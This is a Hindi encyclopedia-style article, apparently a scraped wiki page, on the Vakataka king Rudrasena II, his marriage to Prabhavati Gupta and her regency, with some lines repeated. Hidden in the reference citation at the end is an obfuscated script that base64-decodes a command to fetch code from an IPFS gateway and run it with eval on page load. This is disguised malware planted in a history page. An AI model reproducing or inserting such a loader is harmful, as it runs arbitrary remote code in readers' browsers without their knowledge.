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'''रुद्रसेन द्वितीय''' (शासनकाल 385 से 390 ई.) [[वाकाटक वंश|वाकाटक]] शासक [[पृथ्वीसेन प्रथम]] (शासनकाल (350 से 365 ई.)) का पुत्र और उसका उत्तराधिकारी था। वह [[रुद्रसेन प्रथम]] (335 ई. ) का पौत्र था। <ref>{{पुस्तक संदर्भ |पुस्तक का नाम=भारतीय इतिहास कोश |लेखक= सच्चिदानन्द भट्टाचार्य|अनुवादक= |आलोचक= |प्रकाशक=उत्तर प्रदेश हिन्दी संस्थान |संकलन= |संपादन= |पृष्ठ संख्या=412|url=}}</ref>
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*इसके समय में वाकाटकों की शक्ति काफ़ी बढ़ी हुई थी। इसीलिए [[चन्द्रगुप्त द्वितीय]] ने अपनी पुत्री [[प्रभावती गुप्ता]] का [[विवाह]] उसके साथ कर दिया।
 
*इसके समय में वाकाटकों की शक्ति काफ़ी बढ़ी हुई थी। इसीलिए [[चन्द्रगुप्त द्वितीय]] ने अपनी पुत्री [[प्रभावती गुप्ता]] का [[विवाह]] उसके साथ कर दिया।
 
*दुर्भाग्यवश 385 से 390 ई. तक सफलतापूर्वक राज्य करने के उपरान्त रुद्रसेन द्वितीय की मृत्यु हो गई।
 
*दुर्भाग्यवश 385 से 390 ई. तक सफलतापूर्वक राज्य करने के उपरान्त रुद्रसेन द्वितीय की मृत्यु हो गई।
*रुद्रसेन के मरने के बाद क़रीब 13 वर्ष तक प्रभावती गुप्ता ने अल्प वयस्क पुत्र की संरक्षिका के रूप में अपने [[पिता]] के सहयोग से शासन किया।
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*रुद्रसेन की मृत्यु के बाद क़रीब 13 वर्ष तक प्रभावती गुप्ता ने अपने अल्प वयस्क पुत्र की संरक्षिका के रूप में अपने [[पिता]] के सहयोग से शासन किया।
 
*प्रभावती के पुत्र दामोदर सेन ने 'प्रवरसेन' की उपाधि धारण की।
 
*प्रभावती के पुत्र दामोदर सेन ने 'प्रवरसेन' की उपाधि धारण की।
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रुद्रसेन द्वितीय (शासनकाल 385 से 390 ई.) वाकाटक शासक पृथ्वीसेन प्रथम (शासनकाल (350 से 365 ई.)) का पुत्र और उसका उत्तराधिकारी था। वह रुद्रसेन प्रथम (335 ई. ) का पौत्र था।[1]

  • इसके समय में वाकाटकों की शक्ति काफ़ी बढ़ी हुई थी। इसीलिए चन्द्रगुप्त द्वितीय ने अपनी पुत्री प्रभावती गुप्ता का विवाह उसके साथ कर दिया।
  • दुर्भाग्यवश 385 से 390 ई. तक सफलतापूर्वक राज्य करने के उपरान्त रुद्रसेन द्वितीय की मृत्यु हो गई।
  • रुद्रसेन की मृत्यु के बाद क़रीब 13 वर्ष तक प्रभावती गुप्ता ने अपने अल्प वयस्क पुत्र की संरक्षिका के रूप में अपने पिता के सहयोग से शासन किया।
  • प्रभावती के पुत्र दामोदर सेन ने 'प्रवरसेन' की उपाधि धारण की।
  • प्रवरसेन नगर की स्थापना दामोदर सेन द्वारा की गई थी।


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टीका टिप्पणी और संदर्भ

  1. भारतीय इतिहास कोश |लेखक: सच्चिदानन्द भट्टाचार्य |प्रकाशक: उत्तर प्रदेश हिन्दी संस्थान |पृष्ठ संख्या: 412 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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